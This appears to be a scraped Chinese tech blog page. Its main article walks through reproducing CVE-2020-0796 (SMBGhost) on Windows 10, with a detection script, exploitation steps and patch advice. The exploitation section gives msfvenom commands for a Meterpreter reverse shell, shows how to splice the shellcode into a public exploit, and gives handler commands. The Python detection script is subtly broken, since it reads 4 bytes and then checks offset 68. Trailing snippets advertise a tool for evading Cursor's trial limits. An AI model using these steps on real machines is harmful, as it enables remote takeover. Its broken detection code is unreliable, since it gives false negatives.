news 2026/4/16 21:02:50

【漏洞复现】CVE-2020-0796(永恒之黑)实战:从检测到利用的全流程解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【漏洞复现】CVE-2020-0796(永恒之黑)实战:从检测到利用的全流程解析

1. 漏洞背景与原理剖析

CVE-2020-0796这个漏洞被安全圈称为"永恒之黑",它和当年震惊世界的"永恒之蓝"属于同一个家族——都是利用SMB协议漏洞进行攻击。不过这次的主角是SMBv3.1.1版本,漏洞出在协议处理压缩数据包的功能模块上。

简单来说,当Windows系统处理特制的压缩数据包时,由于没有正确校验数据长度,会导致内存越界写入。攻击者利用这个特性,可以精心构造数据包,在目标系统上执行任意代码。最要命的是,这个漏洞不需要任何身份验证,只要SMB服务开着(默认监听445端口),攻击者就能直接打进来。

我在实际测试中发现,这个漏洞的利用成功率与内存布局密切相关。有时候第一次尝试就能成功,有时候需要多次尝试才能触发。这主要是因为内存分配存在随机性,需要靠运气"撞上"正确的内存布局。

2. 影响范围确认

受影响的系统主要是Windows 10 1903和1909版本,包括:

  • 32位、64位和ARM64架构的桌面版
  • Server Core安装模式的服务器版

这里有个容易忽略的细节:只有开启了SMBv3.1.1压缩功能(默认开启)的系统才会受影响。我在实验室用以下命令可以快速检查SMB版本:

Get-SmbServerConfiguration | Select EnableSMB3Protocol

如果返回True,说明系统存在风险。建议企业用户特别关注服务器环境,很多内部文件服务器都使用SMB协议共享资源。

3. 实验环境搭建

为了安全复现这个漏洞,我建议使用以下隔离环境:

  • 靶机:Windows 10 1909 (Build 18363.720)
  • 攻击机:Kali Linux 2020.1
  • 网络配置:使用虚拟机的Host-Only模式组网

特别注意:一定要在隔离环境中测试!我在初期测试时曾不小心影响到同网段其他机器,后来改用完全隔离的网络环境才放心。

靶机准备有个小技巧:先安装基础系统,然后暂停Windows Update,防止自动打补丁。可以用这个命令冻结更新:

net stop wuauserv

4. SMB协议深度解析

理解SMB协议对成功复现漏洞至关重要。SMB协议的工作流程可以类比为去银行办业务:

  1. 先确认银行支持的业务类型(协议协商)
  2. 出示身份证件进行认证(会话建立)
  3. 取号选择具体业务(树连接)
  4. 办理存取款等操作(文件操作)

在漏洞复现过程中,我们最需要关注的是协议协商阶段。Wireshark抓包可以看到,客户端会发送SMB2_NEGOTIATE请求,服务器回应支持的协议版本。关键点在于响应包中的CompressionCapabilities字段,这就是漏洞的触发点。

我常用这个过滤条件快速定位关键数据包:

smb2.cmd == 0 && smb2.flags.response == 1

5. 漏洞检测实战

检测漏洞我推荐两种方法。第一种是使用现成的检测脚本:

import socket def check_vuln(ip): try: sock = socket.socket(socket.AF_INET) sock.settimeout(3) sock.connect((ip, 445)) # 发送特制探测包 sock.send(b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00') resp = sock.recv(4) if resp[68:70] == b"\x11\x03": print(f"[+] {ip} 存在永恒之黑漏洞") else: print(f"[-] {ip} 未检测到漏洞") except Exception as e: print(f"[!] 检测失败: {str(e)}") finally: sock.close()

第二种方法是手动分析网络流量。用Wireshark抓包时,重点关注:

  • SMB2协商响应中的Dialect字段是否为0x0311(表示SMBv3.1.1)
  • 响应中是否包含CompressionTransform字段

6. 漏洞利用全流程

利用过程分为三个关键步骤,我结合自己的踩坑经验详细说明:

6.1 生成Shellcode

使用MSFVenom生成反向Shell的载荷:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f py -o shellcode.txt

这里有个坑:生成的Shellcode默认有坏字符,需要手动替换\x00等字符。我建议加上-b参数自动过滤:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -b '\x00' -f py -o shellcode.txt

6.2 修改Exploit代码

找到GitHub上的利用工具后,需要将生成的Shellcode替换到USER_PAYLOAD部分。我建议:

  1. 将shellcode.txt内容复制到剪贴板
  2. 用sed命令快速替换:
sed -i '/USER_PAYLOAD = \[/r shellcode.txt' exploit.py

6.3 启动监听与执行攻击

在Kali上启动MSF监听:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run"

然后运行修改好的exploit:

python3 exploit.py -ip 靶机IP

如果一切顺利,你会看到meterpreter会话建立。但根据我的经验,成功率大约在60%左右,可能需要多次尝试。

7. 流量分析与疑难解答

通过Wireshark分析攻击流量,可以看到几个特征:

  1. 初始的SMB2协商请求
  2. 异常的压缩数据包(大小超过正常值)
  3. 后续可能出现的异常断开

常见问题及解决方法:

  • 问题1:攻击后靶机蓝屏

    • 解决方法:调整Shellcode长度,避免覆盖关键内存
  • 问题2:MSF收到会话但立即断开

    • 解决方法:检查防火墙设置,确保4444端口通畅
  • 问题3:漏洞利用不稳定

    • 解决方法:尝试不同的内存布局策略,比如增加延时

8. 防御建议与修复方案

对于企业管理员,我建议采取以下措施:

  1. 立即安装微软官方补丁(KB4551762)
  2. 临时禁用SMBv3压缩功能:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
  1. 网络层防护:
    • 在边界防火墙阻止445端口入站连接
    • 部署IDS规则检测异常SMB流量

对于个人用户,最简单的防护方法是关闭SMB服务:

sc config lanmanserver start= disabled net stop lanmanserver

在真实环境中测试这个漏洞时,我强烈建议先在非关键业务系统上验证补丁兼容性。曾经有客户反映安装补丁后导致某些老旧应用无法访问SMB共享,这种情况需要做好回滚计划。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 21:02:44

AutoGLM-Phone-9B快速部署:跟着步骤走,轻松跑通第一个Demo

AutoGLM-Phone-9B快速部署:跟着步骤走,轻松跑通第一个Demo 1. 准备工作:了解AutoGLM-Phone-9B AutoGLM-Phone-9B是一款专为移动端优化的多模态大语言模型,它能够同时处理视觉、语音和文本信息。这个模型特别适合在资源有限的设备…

作者头像 李华
网站建设 2026/4/16 21:02:43

终极指南:如何彻底重置Cursor设备限制实现无限免费试用

终极指南:如何彻底重置Cursor设备限制实现无限免费试用 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached your tr…

作者头像 李华
网站建设 2026/4/16 21:00:15

二手茶桌一般都有哪些材质类型?

很多朋友装修自家茶室,或是给办公室添休闲茶区,都想淘一张性价比高的二手茶桌。但真去挑的时候才发现,材质种类好多,搞不清楚各有什么优缺点,也不知道哪款适合自己。今天就跟大家掰扯清楚,二手茶桌常见的材…

作者头像 李华
网站建设 2026/4/16 20:57:50

如何让DBeaver数据库连接不再烦恼:一站式JDBC驱动解决方案

如何让DBeaver数据库连接不再烦恼:一站式JDBC驱动解决方案 【免费下载链接】dbeaver-driver-all dbeaver所有jdbc驱动都在这,dbeaver all jdbc drivers ,come and download with me , one package come with all jdbc drivers. 项目地址: https://gitc…

作者头像 李华